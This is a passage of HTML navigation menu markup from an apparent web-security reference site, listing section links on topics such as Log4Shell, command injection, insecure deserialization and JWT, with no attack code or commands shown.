|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE-2021-44228 Log4Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_14">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Clickjacking
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Clickjacking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking: Web Application Security Vulnerability
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_15">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Command Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Command%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_16">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
DNS Rebinding
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../DNS%20Rebinding/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_17">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Dependency Confusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Dependency%20Confusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_18">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Directory Traversal
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Directory%20Traversal/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dom Clobbering
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_19">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Dom Clobbering
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Dom%20Clobbering/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dom Clobbering
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_20">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
File Inclusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../File%20Inclusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_21">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Google Web Toolkit
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_22">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
GraphQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../GraphQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_23">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
HTTP Parameter Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hidden Parameters
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_24">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Hidden Parameters
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Hidden%20Parameters/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Hidden Parameters
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_25">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Deserialization
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.NET Serialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Node Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PHP Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Python Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Ruby Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
YAML Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_26">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Direct Object References
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_27">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Management Interface
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_28">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Randomness
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Randomness/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_29">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Source Code Management
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JSON Web Token
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_30">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
JSON Web Token
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../JSON%20Web%20Token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JWT - JSON Web Token
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_31">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Java RMI
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Java%20RMI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kubernetes
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_32">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Kubernetes
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Kubernetes/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_33">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LDAP Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../LDAP%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTeX Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_34">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LaTeX Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../LaTeX%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTex Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_35">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Mass Assignment
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Mass%20Assignment/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Methodology and Resources
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_36">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Methodology and Resources
|
||
</label>
|
||
